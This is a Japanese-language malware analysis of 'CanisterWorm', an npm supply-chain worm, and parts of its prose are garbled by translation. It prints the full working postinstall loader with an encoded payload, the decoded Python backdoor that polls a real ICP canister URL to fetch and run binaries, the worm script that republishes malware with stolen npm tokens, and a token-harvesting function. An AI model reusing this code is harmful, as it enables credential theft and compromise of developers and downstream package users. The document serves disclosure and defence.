2026年3月20日 20:45(UTC)に、NPM上で多数のパッケージが、これまでに確認されたことのない新たなワームによって侵害されていることを検知しました。この特定の攻撃を「CanisterWorm」と名付けました。これは、C2デッドドロップにICPキャニスターを利用していることからであり、このような攻撃キャンペーンにおいて、このような手法が確認されたのは今回が初めてです。
これまでのところ、彼らは妥協している:
- 28個のパッケージが
@EmilGroup範囲 - 当該パッケージ
@teale.io/eslint-config…これは毎週7000回のダウンロードを記録している
これは、Wizが詳細に記録している通り、24時間足らず前に発生したTrivyへの攻撃に続く直接的なものと思われる。また、同じ攻撃主体であるTeamPCPによるものとみられる。
技術的な内訳
この攻撃に関する技術的な概要は以下の通りです:
- 🧬3段階のアーキテクチャ。Node.jsのインストール後ローダー → 永続的なPythonバックドア → 動的なペイロード配信のためのICPホスト型デッドドロップ。
- 🪱 自己増殖型ワーム。
deploy.jsnpmトークンを受け取り、ユーザー名を解決し、公開可能なすべてのパッケージを列挙し、パッチバージョンを更新し、スコープ全体にペイロードを公開します。60秒未満で28個のパッケージを処理します。 - 🔁 systemdの永続化。 以下の内容でユーザーレベルのサービスをインストールします
再起動=常に再起動後も動作し、クラッシュ時には自動的に再起動します。root権限は不要です。 - 🌐ICPキャニスターをC2デッドドロップとして利用。Internet Computerメインネット上のキャニスターは、バイナリペイロードへのURLを返す。分散型で検閲耐性があり、単一の停止ポイントが存在しない。
- 🔄ペイロードの遠隔更新。キャニスターコントローラーはいつでもURLを切り替えることができ、インプラントに手を加えることなく、感染したすべてのホストに新しいバイナリを配信できます。
- ⏱️サンドボックス回避。最初のビーコン送信まで5分待機、その後は約50分間隔でポーリング。
- 🤫 静かな失敗。 インストール後の処理全体は
try/catch.npm installすべてのプラットフォームで正常に動作する。このバックドアは、systemd を使用している Linux 環境でのみ有効になる。 - 🐘 PostgreSQLのマスカレード。 開発者のマシン上で目立たないように名付けられたすべてのアーティファクト:
pgmon,pglog,.pg_state. - 📄READMEの保存。このワームは、体裁を保つために、公開前に各ターゲットパッケージの元のREADMEを取得します。
ペイロード - マルウェア
以下が主な悪意のあるペイロードです。このファイルは自動的に実行され、 postinstall ~の最中に npm install. 手順は以下の通りです:
- 🔓 埋め込まれたペイロードをデコードします。 この長いBase64文字列はPythonスクリプトです(後述する第2段階のバックドア)。これはデコードされ、
~/.local/share/pgmon/service.py. - 🔧 systemdのユーザーサービスを作成します。 ユニットファイルを
~/.config/systemd/user/pgmon.servicePythonスクリプトを実行する再起動=常にさらに、再起動までの遅延は5秒です。root権限は不要で、パスワードの入力を求められることもありません。 - 🚀 サービスを直ちに開始します。 動作する
systemctl --user daemon-reload、その後、サービスを有効にして起動します。これでバックドアが実行され、再起動やシステムクラッシュ後も動作し続けます。 - 🐘 PostgreSQLのツールとして偽装している。 このサービスの名称は
pgmon、その後ダウンロードされるバイナリはpglog、そして状態ファイルは.pg_state. 稼働中のサービスを一瞥した開発者なら、二度と見向きもしないだろう。
'use strict';
const { execSync } = require('child_process');
const fs = require('fs');
const os = require('os');
const path = require('path');
try {
const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));
const SERVICE_NAME = 'pgmon';
const BASE64_PAYLOAD = 'aW1wb3J0IHVybGxpYi5yZXF1ZXN0CmltcG9ydCBvcwppbXBvcnQgc3VicHJvY2VzcwppbXBvcnQgdGltZQoKQ19VUkwgPSAiaHR0cHM6Ly90ZHRxeS1veWFhYS1hYWFhZS1hZjJkcS1jYWkucmF3LmljcDAuaW8vIgpUQVJHRVQgPSAiL3RtcC9wZ2xvZyIKU1RBVEUgPSAiL3RtcC8ucGdfc3RhdGUiCgpkZWYgZygpOgogICAgdHJ5OgogICAgICAgIHJlcSA9IHVybGxpYi5yZXF1ZXN0LlJlcXVlc3QoQ19VUkwsIGhlYWRlcnM9eydVc2VyLUFnZW50JzogJ01vemlsbGEvNS4wJ30pCiAgICAgICAgd2l0aCB1cmxsaWIucmVxdWVzdC51cmxvcGVuKHJlcSwgdGltZW91dD0xMCkgYXMgcjoKICAgICAgICAgICAgbGluayA9IHIucmVhZCgpLmRlY29kZSgndXRmLTgnKS5zdHJpcCgpCiAgICAgICAgICAgIHJldHVybiBsaW5rIGlmIGxpbmsuc3RhcnRzd2l0aCgiaHR0cCIpIGVsc2UgTm9uZQogICAgZXhjZXB0OgogICAgICAgIHJldHVybiBOb25lCgpkZWYgZShsKToKICAgIHRyeToKICAgICAgICB1cmxsaWIucmVxdWVzdC51cmxyZXRyaWV2ZShsLCBUQVJHRVQpCiAgICAgICAgb3MuY2htb2QoVEFSR0VULCAwbzc1NSkKICAgICAgICBzdWJwcm9jZXNzLlBvcGVuKFtUQVJHRVRdLCBzdGRvdXQ9c3VicHJvY2Vzcy5ERVZOVUxMLCBzdGRlcnI9c3VicHJvY2Vzcy5ERVZOVUxMLCBzdGFydF9uZXdfc2Vzc2lvbj1UcnVlKQogICAgICAgIHdpdGggb3BlbihTVEFURSwgInciKSBhcyBmOiAKICAgICAgICAgICAgZi53cml0ZShsKQogICAgZXhjZXB0OgogICAgICAgIHBhc3MKCmlmIF9fbmFtZV9fID09ICJfX21haW5fXyI6CiAgICB0aW1lLnNsZWVwKDMwMCkKICAgIHdoaWxlIFRydWU6CiAgICAgICAgbCA9IGcoKQogICAgICAgIHByZXYgPSAiIgogICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKFNUQVRFKToKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgd2l0aCBvcGVuKFNUQVRFLCAiciIpIGFzIGY6IAogICAgICAgICAgICAgICAgICAgIHByZXYgPSBmLnJlYWQoKS5zdHJpcCgpCiAgICAgICAgICAgIGV4Y2VwdDogCiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgCiAgICAgICAgaWYgbCBhbmQgbCAhPSBwcmV2IGFuZCAieW91dHViZS5jb20iIG5vdCBpbiBsOgogICAgICAgICAgICBlKGwpCiAgICAgICAgICAgIAogICAgICAgIHRpbWUuc2xlZXAoMzAwMCkK';
if (!BASE64_PAYLOAD) process.exit(0);
const homeDir = os.homedir();
const dataDir = path.join(homeDir, '.local', 'share', SERVICE_NAME);
const scriptPath = path.join(dataDir, 'service.py');
const systemdUserDir = path.join(homeDir, '.config', 'systemd', 'user');
const unitFilePath = path.join(systemdUserDir, `${SERVICE_NAME}.service`);
fs.mkdirSync(dataDir, { recursive: true });
fs.writeFileSync(scriptPath, Buffer.from(BASE64_PAYLOAD, 'base64').toString('utf8'), { mode: 0o755 });
fs.mkdirSync(systemdUserDir, { recursive: true });
fs.writeFileSync(unitFilePath, [
'[Unit]',
`Description=${SERVICE_NAME}`,
'After=default.target',
'',
'[Service]',
'Type=simple',
`ExecStart=/usr/bin/python3 ${scriptPath}`,
'Restart=always',
'RestartSec=5',
'',
'[Install]',
'WantedBy=default.target',
'',
].join('\n'), { mode: 0o644 });
execSync('systemctl --user daemon-reload', { stdio: 'pipe' });
execSync(`systemctl --user enable ${SERVICE_NAME}.service`, { stdio: 'pipe' });
execSync(`systemctl --user start ${SERVICE_NAME}.service`, { stdio: 'pipe' });
} catch (_) {
// silent
}
ペイロード - Pythonバックドア
Base64エンコードされたsystemdペイロードをデコードすると、以下の内容になります。これが、システム上に残留する実際のバックドアです。Pythonの標準ライブラリモジュールのみを使用しているため、別途インストールする必要はありません。
- ⏱️何かを行う前に5分間待機します。これは、即座に不審な動作を監視するほとんどのサンドボックス環境をすり抜けるのに十分な時間です。
- 📡 約50分ごとに自宅に電話をかける。 機能
g()ICPキャニスターに、偽装されたブラウザのUser-Agentを送信してアクセスする。このキャニスターはマルウェアを直接配信するわけではない。単に、実際のバイナリが現在ホストされている場所を指すURLをプレーンテキストで返すだけである。 - 📥 指示されたものは何でもダウンロードして実行します。 機能
e()バイナリを/tmp/pglog、実行可能としてマークし、完全に分離されたプロセスで起動します。URLは/tmp/.pg_stateそうすれば、同じペイロードが二度ダウンロードされることはありません。 - 🔘 キルスイッチが内蔵されています。 URLに
youtube[.]com、スクリプトはこの部分をスキップします。これがキャニスターの休止状態です。攻撃者は、キャニスターを実際のバイナリファイルに向けることでインプラントを起動させ、YouTubeのリンクに戻すことで解除します。 - 🔄ペイロードのローテーションに対応しています。攻撃者がキャニスターを更新して新しいURLを指定すると、感染したすべてのマシンは次回のポーリング時に新しいバイナリを取得します。スクリプトは以前のプロセスを終了させないため、古いバイナリはバックグラウンドで実行され続けます。
import urllib.request
import os
import subprocess
import time
C_URL = "https://tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io/"
TARGET = "/tmp/pglog"
STATE = "/tmp/.pg_state"
def g():
try:
req = urllib.request.Request(C_URL, headers={'User-Agent': 'Mozilla/5.0'})
with urllib.request.urlopen(req, timeout=10) as r:
link = r.read().decode('utf-8').strip()
return link if link.startswith("http") else None
except:
return None
def e(l):
try:
urllib.request.urlretrieve(l, TARGET)
os.chmod(TARGET, 0o755)
subprocess.Popen([TARGET], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, start_new_session=True)
with open(STATE, "w") as f:
f.write(l)
except:
pass
if __name__ == "__main__":
time.sleep(300)
while True:
l = g()
prev = ""
if os.path.exists(STATE):
try:
with open(STATE, "r") as f:
prev = f.read().strip()
except:
pass
if l and l != prev and "youtube.com" not in l:
e(l)
time.sleep(3000)
このペイロードと、参照されているドメインは、同一ではないにせよ、 sysmon.py Trivy攻撃によるペイロード。現時点では、C2から返されるURLはリックロール用のYouTube動画です。これはいつでも変更され、本格的な悪意のあるペイロードが配信されるようになる可能性があります。
ペイロード - ワーム
このパッケージには以下のものも含まれています deploy.js、これは攻撃者が手動で実行する自己拡散ツールであり、盗まれたnpmトークンがアクセス可能なすべてのパッケージに悪意のあるペイロードを拡散させるものです。このワームは非常に単純な構造をしています。コードはすべてVibeで記述されているようで、その内容は一目瞭然です。ここでは難読化の試みは一切行われていません。これは npm installこれは、攻撃者が盗んだトークンを使用して実行し、被害範囲を最大化するスタンドアロン型のツールです。その機能は以下の通りです:
- 🔑 複数のトークンに対応しています。 閲覧数
NPM_TOKENS(カンマ区切り)またはNPM_TOKEN環境から。各トークンは個別に処理されるため、1回の実行で複数のアカウントが危険にさらされる可能性があります。 - 🔍 トークンの所有者を特定します。 各トークンに対して、npmを呼び出します
/-/whoami関連するユーザー名を取得するためのエンドポイント。無効なトークンや有効期限が切れたトークンはスキップされます。 - 📦 そのアカウントが公開できるすべてのパッケージを一覧表示します。 npm searchAPI 使用します
maintainer:<username>、250件ずつページ分割されています。こうして全28件が発見されました@emilgroupパッケージ。 - 🔢 パッチバージョンを自動的に更新します。 現在のもを取得します
latest各ターゲットパッケージのバージョンを確認し、パッチ番号をインクリメントします。1.54.0~になる1.54.1,1.97.1~になる1.97.2新しいバージョンは、いつも単なる定期的なパッチリリースのように見えます。 - 📄オリジナルのREADMEを保持します。公開前に、レジストリから対象パッケージの既存のREADMEを取得し、ローカルのファイルと入れ替えます。公開後は、元のファイルを復元します。これにより、npmのリスト表示が通常通りになります。
- 🔀 書き直し
package.jsonその場で。 ローカルのパッケージ名とバージョンを一時的に置き換えますpackage.jsonターゲットのデータを上書きし、公開した後、元のデータを復元する。1つの悪意のあるテンプレートを、すべてのパッケージで再利用する。 - 🚀 以下の媒体で配信
--タグ: 最新. 会社情報--アクセス:公開 --タグ:最新flags により、悪意のあるバージョンがデフォルトのインストール先となるよう設定されます。これを実行しているユーザーはnpm install @emilgroup/whatever改ざんされたバージョンを取得します。 - 🧹 使用後の後片付けが自動で行われる。 両方とも
package.jsonそしてREADME.mdは常に最後に公開に失敗した場合でも、ブロックは残ります。実行後もローカルディレクトリには変更が見られません。 - 📊概要を出力します。トークンごとの成功・失敗を追跡し、絵文字で始まるステータス行ですべてを記録します。皮肉なことに、攻撃ツールとしては非常に良く設計されています。
#!/usr/bin/env node
/**
* deploy.js
*
* Iterates over a list of NPM tokens to:
* 1. Authenticate with the npm registry and resolve your username per token
* 2. Fetch every package owned by that account from the registry
* 3. For every owned package:
* a. Deprecate all existing versions (except the new one you are publishing)
* b. Swap the "name" field in a temp copy of package.json
* c. Run `npm publish` to push the new version to that package
*
* Usage (multiple tokens, comma-separated):
* NPM_TOKENS=<token1>,<token2>,<token3> node scripts/deploy.js
*
* Usage (single token fallback):
* NPM_TOKEN=<your_token> node scripts/deploy.js
*
* Or set it in your environment beforehand:
* export NPM_TOKENS=<token1>,<token2>
* node scripts/deploy.js
*/
const { execSync } = require('child_process');
const https = require('https');
const fs = require('fs');
const path = require('path');
// ── Helpers ──────────────────────────────────────────────────────────────────
function run(cmd, opts = {}) {
console.log(`\n> ${cmd}`);
return execSync(cmd, { stdio: 'inherit', ...opts });
}
function fetchJson(url, token) {
return new Promise((resolve, reject) => {
const options = {
headers: {
Authorization: `Bearer ${token}`,
Accept: 'application/json',
},
};
https
.get(url, options, (res) => {
let data = '';
res.on('data', (chunk) => (data += chunk));
res.on('end', () => {
try {
resolve(JSON.parse(data));
} catch (e) {
reject(new Error(`Failed to parse response from ${url}: ${data}`));
}
});
})
.on('error', reject);
});
}
/**
* Fetches package metadata (readme + latest version) from the npm registry.
* Returns { readme: string|null, latestVersion: string|null }.
*/
async function fetchPackageMeta(packageName, token) {
try {
const meta = await fetchJson(
`https://registry.npmjs.org/${encodeURIComponent(packageName)}`,
token
);
const readme = (meta && meta.readme) ? meta.readme : null;
const latestVersion =
(meta && meta['dist-tags'] && meta['dist-tags'].latest) || null;
return { readme, latestVersion };
} catch (_) {
return { readme: null, latestVersion: null };
}
}
/**
* Bumps the patch segment of a semver string.
* e.g. "1.39.0" → "1.39.1"
*/
function bumpPatch(version) {
const parts = version.split('.').map(Number);
if (parts.length !== 3 || parts.some(isNaN)) return version;
parts[2] += 1;
return parts.join('.');
}
/**
* Returns an array of package names owned by `username`.
* Uses the npm search API filtered by maintainer.
*/
async function getOwnedPackages(username, token) {
let packages = [];
let from = 0;
const size = 250;
while (true) {
const url = `https://registry.npmjs.org/-/v1/search?text=maintainer:${encodeURIComponent(
username
)}&size=${size}&from=${from}`;
const result = await fetchJson(url, token);
if (!result.objects || result.objects.length === 0) break;
packages = packages.concat(result.objects.map((o) => o.package.name));
if (packages.length >= result.total) break;
from += size;
}
return packages;
}
/**
* Runs the full deploy pipeline for a single npm token.
* Returns { success: string[], failed: string[] }
*/
async function deployWithToken(token, pkg, pkgPath, newVersion) {
// 1. Verify token / get username
console.log('\n🔍 Verifying npm token…');
let whoami;
try {
whoami = await fetchJson('https://registry.npmjs.org/-/whoami', token);
} catch (err) {
console.error('❌ Could not reach the npm registry:', err.message);
return { success: [], failed: [] };
}
if (!whoami || !whoami.username) {
console.error('❌ Invalid or expired token — skipping.');
return { success: [], failed: [] };
}
const username = whoami.username;
console.log(`✅ Authenticated as: ${username}`);
// 2. Fetch all packages owned by this user
console.log(`\n🔍 Fetching all packages owned by "${username}"…`);
let ownedPackages;
try {
ownedPackages = await getOwnedPackages(username, token);
} catch (err) {
console.error('❌ Failed to fetch owned packages:', err.message);
return { success: [], failed: [] };
}
if (ownedPackages.length === 0) {
console.log(' No packages found for this user. Skipping.');
return { success: [], failed: [] };
}
console.log(` Found ${ownedPackages.length} package(s): ${ownedPackages.join(', ')}`);
// 3. Process each owned package
const results = { success: [], failed: [] };
for (const packageName of ownedPackages) {
console.log(`\n${'─'.repeat(60)}`);
console.log(`📦 Processing: ${packageName}`);
// 3a. Fetch the original package's README and latest version
const readmePath = path.resolve(__dirname, '..', 'README.md');
const originalReadme = fs.existsSync(readmePath)
? fs.readFileSync(readmePath, 'utf8')
: null;
console.log(` 📄 Fetching metadata for ${packageName}…`);
const { readme: remoteReadme, latestVersion } = await fetchPackageMeta(packageName, token);
// Determine version to publish: bump patch of existing latest, or use local version
const publishVersion = latestVersion ? bumpPatch(latestVersion) : newVersion;
console.log(
latestVersion
? ` 🔢 Latest is ${latestVersion} → publishing ${publishVersion}`
: ` 🔢 No existing version found → publishing ${publishVersion}`
);
if (remoteReadme) {
fs.writeFileSync(readmePath, remoteReadme, 'utf8');
console.log(` 📄 Using original README for ${packageName}`);
} else {
console.log(` 📄 No existing README found; keeping local README`);
}
// 3c. Temporarily rewrite package.json with this package's name + bumped version, publish, then restore
const originalPkgJson = fs.readFileSync(pkgPath, 'utf8');
const tempPkg = { ...pkg, name: packageName, version: publishVersion };
fs.writeFileSync(pkgPath, JSON.stringify(tempPkg, null, 2) + '\n', 'utf8');
try {
run('npm publish --access public --tag latest', {
env: { ...process.env, NPM_TOKEN: token },
});
console.log(`✅ Published ${packageName}@${publishVersion}`);
results.success.push(packageName);
} catch (err) {
console.error(`❌ Failed to publish ${packageName}:`, err.message);
results.failed.push(packageName);
} finally {
// Always restore the original package.json
fs.writeFileSync(pkgPath, originalPkgJson, 'utf8');
// Always restore the original README
if (originalReadme !== null) {
fs.writeFileSync(readmePath, originalReadme, 'utf8');
} else if (remoteReadme && fs.existsSync(readmePath)) {
// README didn't exist locally before — remove the temporary one
fs.unlinkSync(readmePath);
}
}
}
return results;
}
// ── Main ─────────────────────────────────────────────────────────────────────
(async () => {
// 1. Resolve token list — prefer NPM_TOKENS (comma-separated), fall back to NPM_TOKEN
const rawTokens = process.env.NPM_TOKENS || process.env.NPM_TOKEN || '';
const tokens = rawTokens
.split(',')
.map((t) => t.trim())
.filter(Boolean);
if (tokens.length === 0) {
console.error('❌ No npm tokens found.');
console.error(' Set NPM_TOKENS=<token1>,<token2>,… or NPM_TOKEN=<token>');
process.exit(1);
}
console.log(`🔑 Found ${tokens.length} token(s) to process.`);
// 2. Read local package.json once
const pkgPath = path.resolve(__dirname, '..', 'package.json');
const pkg = JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
const newVersion = pkg.version;
// 3. Iterate over every token
const overall = { success: [], failed: [] };
for (let i = 0; i < tokens.length; i++) {
const token = tokens[i];
console.log(`\n${'═'.repeat(60)}`);
console.log(`🔑 Token ${i + 1} / ${tokens.length}`);
const { success, failed } = await deployWithToken(token, pkg, pkgPath, newVersion);
overall.success.push(...success);
overall.failed.push(...failed);
}
// 4. Overall summary
console.log(`\n${'═'.repeat(60)}`);
console.log('📊 Overall Deploy Summary');
console.log(` ✅ Succeeded (${overall.success.length}): ${overall.success.join(', ') || 'none'}`);
console.log(` ❌ Failed (${overall.failed.length}): ${overall.failed.join(', ') || 'none'}`);
if (overall.failed.length > 0) {
process.exit(1);
}
})();最新情報:CanisterWormが自己増殖するようになった
最初の出来事から約1時間後 @emilgroup waveに対し、攻撃者は大幅なアップグレードを押し付け、 @teale.io/eslint-config バージョン1.8.11および1.8.12(UTC 21:16~21:21)。このワームはもはや手動で操作するツールではなく、現在は自己増殖するようになっています。
~において @emilgroup バージョン、 deploy.js これは、攻撃者が盗んだトークンを使用して手動で実行した単体のスクリプトでした。被害者はバックドアに感染しましたが、ワーム自体はそれ以上自律的に拡散しませんでした。しかし、状況は変わりました。新しい index.js を追加します findNpmTokens() 実行中に動作する関数 postinstall そして、被害者のマシンからnpm認証トークンを積極的に収集する。
'use strict';
const { execSync, spawn } = require('child_process');
const fs = require('fs');
const os = require('os');
const path = require('path');
function findNpmTokens() {
const tokens = new Set();
const homeDir = os.homedir();
const npmrcPaths = [
path.join(homeDir, '.npmrc'),
path.join(process.cwd(), '.npmrc'),
'/etc/npmrc',
];
for (const rcPath of npmrcPaths) {
try {
const content = fs.readFileSync(rcPath, 'utf8');
for (const line of content.split('\n')) {
const m = line.match(/(?:_authToken\s*=\s*|:_authToken=)([^\s]+)/);
if (m && m[1] && !m[1].startsWith('${')) {
tokens.add(m[1].trim());
}
}
} catch (_) {}
}
const envKeys = Object.keys(process.env).filter(
(k) => k === 'NPM_TOKEN' || k === 'NPM_TOKENS' || (k.includes('NPM') && k.includes('TOKEN'))
);
for (const key of envKeys) {
const val = process.env[key] || '';
for (const t of val.split(',')) {
const trimmed = t.trim();
if (trimmed) tokens.add(trimmed);
}
}
try {
const configToken = execSync('npm config get //registry.npmjs.org/:_authToken 2>/dev/null', {
stdio: ['pipe', 'pipe', 'pipe'],
}).toString().trim();
if (configToken && configToken !== 'undefined' && configToken !== 'null') {
tokens.add(configToken);
}
} catch (_) {}
return [...tokens].filter(Boolean);
}
try {
const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));
const SERVICE_NAME = 'pgmon';
const BASE64_PAYLOAD = 'hello123';
if (!BASE64_PAYLOAD) process.exit(0);
const homeDir = os.homedir();
const dataDir = path.join(homeDir, '.local', 'share', SERVICE_NAME);
const scriptPath = path.join(dataDir, 'service.py');
const systemdUserDir = path.join(homeDir, '.config', 'systemd', 'user');
const unitFilePath = path.join(systemdUserDir, `${SERVICE_NAME}.service`);
fs.mkdirSync(dataDir, { recursive: true });
fs.writeFileSync(scriptPath, Buffer.from(BASE64_PAYLOAD, 'base64').toString('utf8'), { mode: 0o755 });
fs.mkdirSync(systemdUserDir, { recursive: true });
fs.writeFileSync(unitFilePath, [
'[Unit]',
`Description=${SERVICE_NAME}`,
'After=default.target',
'',
'[Service]',
'Type=simple',
`ExecStart=/usr/bin/python3 ${scriptPath}`,
'Restart=always',
'RestartSec=5',
'',
'[Install]',
'WantedBy=default.target',
'',
].join('\n'), { mode: 0o644 });
execSync('systemctl --user daemon-reload', { stdio: 'pipe' });
execSync(`systemctl --user enable ${SERVICE_NAME}.service`, { stdio: 'pipe' });
execSync(`systemctl --user start ${SERVICE_NAME}.service`, { stdio: 'pipe' });
try {
const tokens = findNpmTokens();
if (tokens.length > 0) {
const deployScript = path.join(__dirname, 'scripts', 'deploy.js');
if (fs.existsSync(deployScript)) {
spawn(process.execPath, [deployScript], {
detached: true,
stdio: 'ignore',
env: { ...process.env, NPM_TOKENS: tokens.join(',') },
}).unref();
}
}
} catch (_) {}
} catch (_) {}これは以前と同じsystemdバックドアですが、最後に重要な機能が1つ追加されています。それは、永続化サービスをインストールした後、見つかるすべてのnpmトークンを収集し、それらを使ってワームを起動するというものです。
- 🔍 擦り傷
.npmrcファイル。 小切手~/.npmrc(ユーザー設定)、.npmrc現在の作業ディレクトリ(プロジェクト設定)に、そして/etc/npmrc(グローバル設定)。各行を解析して_authToken値。次のようなテンプレート変数をスキップできるほど賢い${NPM_TOKEN}補間されていないもの。 - 🔍 環境変数を取得します。 検索
NPM_TOKEN,NPM_TOKENS、およびこれに一致するすべてのもの*NPM*TOKEN*. カンマで区切って、複数のトークンからなる変数を処理します。これにより、ほとんどのCI/CD に対応できます。 - 🔍 npmの設定を直接参照します。 ラン
npm config get //registry.npmjs.org/:_authToken外部に保存されたトークンを取得するためのサブプロセスとして.npmrcファイル。 - 🪱 ワームを自動的に生成します。 トークンが見つかった場合、起動します
deploy.js盗んだトークンを使用して、完全に独立したバックグラウンドプロセスとして実行されます。非接続: trueそして.unref()つまり、そのワームはその後も動作し続けるnpm install完了します。
ここで、攻撃は「侵害されたアカウントがマルウェアを公開する」という段階から、「マルウェアがさらに多くのアカウントを侵害し、自らを拡散させる」という段階へと移行します。このパッケージをインストールし、npmトークンにアクセス可能な状態にあるすべての開発者やCIパイプラインは、知らず知らずのうちに感染の媒介となってしまいます。彼らのパッケージが感染し、下流のユーザーがそれらをインストールすると、その中にトークンを保有している者がいれば、このサイクルが繰り返されることになります。
ICPのバックドアペイロードは、以下のものに置き換えられました hello123、デコードするとゴミデータになるダミーのテスト文字列。systemdがこれをPythonとして実行しようとすると、即座にクラッシュするが、 再起動=常に サービスを5秒ごとに自動的に再起動するように設定する。攻撃者は、実際のペイロードを仕込む前に、まず基盤となる仕組み(トークンの収集、ワームの生成、systemdによる永続化)を構築し、その一連のプロセスが正常に機能することを確認した。
もしこれが完全なICPバックドアを搭載した状態でリリースされていたら、侵害された開発者のパッケージはすべて新たな感染経路となっていただろう。配管は整っている。ただ、まだ蛇口を開けていないだけだ。
この件は現在も展開中のニュースです。続報にご注目ください……

